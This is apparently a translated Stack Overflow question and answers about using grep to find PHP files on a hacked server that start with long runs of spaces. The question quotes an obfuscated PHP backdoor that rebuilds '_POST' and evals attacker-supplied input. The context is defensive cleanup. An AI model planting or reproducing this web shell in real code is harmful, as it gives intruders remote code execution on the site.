在打开的PHP标记后找到所有超过2个空格的php文件

时间:2015-12-02 21:51:31

标签: php regex

目前我所处的位置让我整天都在清理被黑网站。我设法在主服务器上获得shell访问权限,因此我可以运行一些快速命令来隔离有问题的文件并将其删除。

以下是违规文件的示例:

"php                                    $uzi51="otpres_u"; $zlg07= $uzi51[5]. $uzi51[1]. $uzi51[3]. $uzi51[1].$uzi51[0]. $uzi51[7].$uzi51[2]. $uzi51[2]. $uzi51[4]. $uzi51[3];$rpu17=$zlg07 ($uzi51[6].$uzi51[2].$uzi51[0]. $uzi51[5]. $uzi51[1] ) ; if( isset( ${ $rpu17 }[ 'q635689'] )){ eval( ${$rpu17}['q635689' ] ) ;}

这是这些类型的漏洞利用的典型行为。打开php标签,然后总是超过2个空格。

我试过的命令:

grep -rl '\?php[ ]{2,}()' directory/

我使用此网站构建了正则表达式:https://regex101.com/#pcre 这显示了我粘贴在上面的代码的完美匹配。但是当我集成到grep中时,在命令行中没有显示任何内容。 我也试过了:

pcregrep -rM '\?php[\s]+[^\S]*$' *.php

完全陷入困境。

感谢任何帮助或指导。

2 个答案:

答案 0 :(得分:3)

我会用这个:

grep -r '<?php \{3,\}'

它匹配<?php后跟3个或更多空格。

答案 1 :(得分:1)

-P标志添加到grep命令中。它告诉grep使用perl正则表达式。

grep -Prl '\?php[ ]{2,}()' directory/

来自man grep

  

-P

     

- Perl的正则表达式

     

将模式解释为Perl正则表达式。这是非常高的   实验和'grep -P'可能会警告未实现   特征